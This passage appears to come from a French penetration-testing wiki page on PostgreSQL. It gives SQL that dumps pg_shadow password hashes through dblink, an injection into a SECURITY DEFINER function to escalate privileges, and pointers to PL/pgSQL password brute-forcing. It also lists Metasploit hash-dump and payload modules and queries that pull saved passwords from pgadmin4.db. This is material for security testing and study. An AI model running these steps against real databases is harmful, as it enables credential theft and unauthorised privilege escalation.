Si vous avez le mot de passe d'un utilisateur disposant de privilèges supérieurs, mais que l'utilisateur n'est pas autorisé à se connecter depuis une adresse IP externe, vous pouvez utiliser la fonction suivante pour exécuter des requêtes en tant qu'utilisateur :
```sql
SELECT * FROM dblink('host=127.0.0.1
user=someuser
dbname=somedb',
'SELECT usename,passwd from pg_shadow')
RETURNS (result TEXT);
```
Il est possible de vérifier si cette fonction existe avec :
```sql
SELECT * FROM pg_proc WHERE proname='dblink' AND pronargs=2;
```
### **Fonction définie par l'utilisateur avec** SECURITY DEFINER

Dans [**cet article**](https://www.wiz.io/blog/hells-keychain-supply-chain-attack-in-ibm-cloud-databases-for-postgresql), des pentesteurs ont réussi à obtenir des privilèges élevés à l'intérieur d'une instance PostgreSQL fournie par IBM, car ils ont **trouvé cette fonction avec le drapeau SECURITY DEFINER** :

<pre class="language-sql"><code class="lang-sql">CREATE OR REPLACE FUNCTION public.create_subscription(IN subscription_name text,IN host_ip text,IN portnum text,IN password text,IN username text,IN db_name text,IN publisher_name text)
RETURNS text
LANGUAGE 'plpgsql'
<strong>    VOLATILE SECURITY DEFINER
</strong>    PARALLEL UNSAFE
COST 100

AS $BODY$
DECLARE
persist_dblink_extension boolean;
BEGIN
persist_dblink_extension := create_dblink_extension();
PERFORM dblink_connect(format('dbname=%s', db_name));
PERFORM dblink_exec(format('CREATE SUBSCRIPTION %s CONNECTION ''host=%s port=%s password=%s user=%s dbname=%s sslmode=require'' PUBLICATION %s',
subscription_name, host_ip, portNum, password, username, db_name, publisher_name));
PERFORM dblink_disconnect();
…
</code></pre>

Comme [**expliqué dans la documentation**](https://www.postgresql.org/docs/current/sql-createfunction.html), une fonction avec **SECURITY DEFINER est exécutée** avec les privilèges de l'**utilisateur qui la possède**. Par conséquent, si la fonction est **vulnérable à l'injection SQL** ou effectue des **actions privilégiées avec des paramètres contrôlés par l'attaquant**, elle peut être exploitée pour **escalader les privilèges à l'intérieur de PostgreSQL**.

À la ligne 4 du code précédent, vous pouvez voir que la fonction a le drapeau **SECURITY DEFINER**.
```sql
CREATE SUBSCRIPTION test3 CONNECTION 'host=127.0.0.1 port=5432 password=a
user=ibm dbname=ibmclouddb sslmode=require' PUBLICATION test2_publication
WITH (create_slot = false); INSERT INTO public.test3(data) VALUES(current_user);
```
Et ensuite **exécutez des commandes**:

<figure><img src="../.gitbook/assets/image (9) (1).png" alt=""><figcaption></figcaption></figure>

### Passer Burteforce avec PL/pgSQL

PL/pgSQL, en tant que **langage de programmation complet**, permet un contrôle procédural beaucoup plus avancé que SQL, y compris la **possibilité d'utiliser des boucles et d'autres structures de contrôle**. Les instructions SQL et les déclencheurs peuvent appeler des fonctions créées dans le langage PL/pgSQL.\
**Vous pouvez abuser de ce langage pour demander à PostgreSQL de forcer les informations d'identification des utilisateurs.**

{% content-ref url="../pentesting-web/sql-injection/postgresql-injection/pl-pgsql-password-bruteforce.md" %}
[pl-pgsql-password-bruteforce.md](../pentesting-web/sql-injection/postgresql-injection/pl-pgsql-password-bruteforce.md)
{% endcontent-ref %}

## **POST**
```
msf> use auxiliary/scanner/postgres/postgres_hashdump
msf> use auxiliary/scanner/postgres/postgres_schemadump
msf> use auxiliary/admin/postgres/postgres_readfile
msf> use exploit/linux/postgres/postgres_payload
msf> use exploit/windows/postgres/postgres_payload
```
### journalisation

À l'intérieur du fichier _**postgresql.conf**_, vous pouvez activer les journaux de PostgreSQL en modifiant :
```bash
log_statement = 'all'
log_filename = 'postgresql-%Y-%m-%d_%H%M%S.log'
logging_collector = on
sudo service postgresql restart
#Find the logs in /var/lib/postgresql/<PG_Version>/main/log/
#or in /var/lib/postgresql/<PG_Version>/main/pg_log/
```
Ensuite, **redémarrez le service**.

### pgadmin

[pgadmin](https://www.pgadmin.org) est une plateforme d'administration et de développement pour PostgreSQL.\
Vous pouvez trouver les **mots de passe** à l'intérieur du fichier _**pgadmin4.db**_.\
Vous pouvez les décrypter en utilisant la fonction _**decrypt**_ dans le script : [https://github.com/postgres/pgadmin4/blob/master/web/pgadmin/utils/crypto.py](https://github.com/postgres/pgadmin4/blob/master/web/pgadmin/utils/crypto.py)
```bash
sqlite3 pgadmin4.db ".schema"
sqlite3 pgadmin4.db "select * from user;"
sqlite3 pgadmin4.db "select * from server;"
string pgadmin4.db
```
### pg\_hba

L'authentification du client est contrôlée par un fichier de configuration fréquemment appelé _**pg\_hba.conf**_. Ce fichier contient un ensemble d'enregistrements. Un enregistrement peut avoir l'un des sept formats suivants :

![](https://lh4.googleusercontent.com/Ff8YbD3ppYmN2Omp-4M-0AAVhLsr4c2i7d7HUjgkE-O6NZ5zbaST1hdMPrp1AL\_xTXJalYe0HYxUk76vWJUfHZ5GuCDvIL1A-sMV44Z0CYSVgLM9ttFTDu-BhzewBGc7FeMarTLqsu\_N1ztXJg)

**Chaque** enregistrement **spécifie** un **type de connexion**, une **plage d'adresses IP client** (si cela est pertinent pour le type de connexion), un **nom de base de données**, un **nom d'utilisateur** et la **méthode d'authentification** à utiliser pour les connexions correspondant à ces paramètres. Le **premier enregistrement correspondant** avec un type de connexion, une adresse client, une base de données demandée et un nom d'utilisateur **est utilisé** pour effectuer l'authentification. Il n'y a pas de "passage" ou de "sauvegarde" : **si un enregistrement est choisi et que l'authentification échoue, les enregistrements suivants ne sont pas pris en compte**. Si aucun enregistrement ne correspond, l'accès est refusé.\
Les méthodes d'authentification basées sur le mot de passe sont **md5**, **crypt** et **password**. Ces méthodes fonctionnent de manière similaire, à l'exception de la manière dont le mot de passe est envoyé via la connexion : respectivement, haché en MD5, crypté en crypt et en texte clair. Une limitation est que la méthode crypt ne fonctionne pas avec les mots de passe qui ont été cryptés dans pg\_authid.

<details>

<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks Cloud ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 Twitter 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>

* Travaillez-vous dans une **entreprise de cybersécurité** ? Voulez-vous voir votre **entreprise annoncée dans HackTricks** ? ou voulez-vous avoir accès à la **dernière version de PEASS ou télécharger HackTricks en PDF** ? Consultez les [**PLANS D'ABONNEMENT**](https://github.com/sponsors/carlospolop) !
* Découvrez [**The PEASS Family**](https://opensea.io/collection/the-peass-family), notre collection exclusive de [**NFT**](https://opensea.io/collection/the-peass-family)
* Obtenez le [**swag officiel PEASS & HackTricks**](https://peass.creator-spring.com)
* **Rejoignez le** [**💬**](https://emojipedia.org/speech-balloon/) [**groupe Discord**](https://discord.gg/hRep4RUj7f) ou le [**groupe Telegram**](https://t.me/peass) ou **suivez** moi sur **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
* **Partagez vos astuces de piratage en soumettant des PR au** [**repo hacktricks**](https://github.com/carlospolop/hacktricks) **et au** [**repo hacktricks-cloud**](https://github.com/carlospolop/hacktricks-cloud).

</details>

<figure><img src="../.gitbook/assets/image (3) (1) (1).png" alt=""><figcaption></figcaption></figure>

\
Utilisez [**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks) pour créer et **automatiser facilement des flux de travail** alimentés par les outils communautaires les plus avancés au monde.\
Accédez dès aujourd'hui :

{% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %}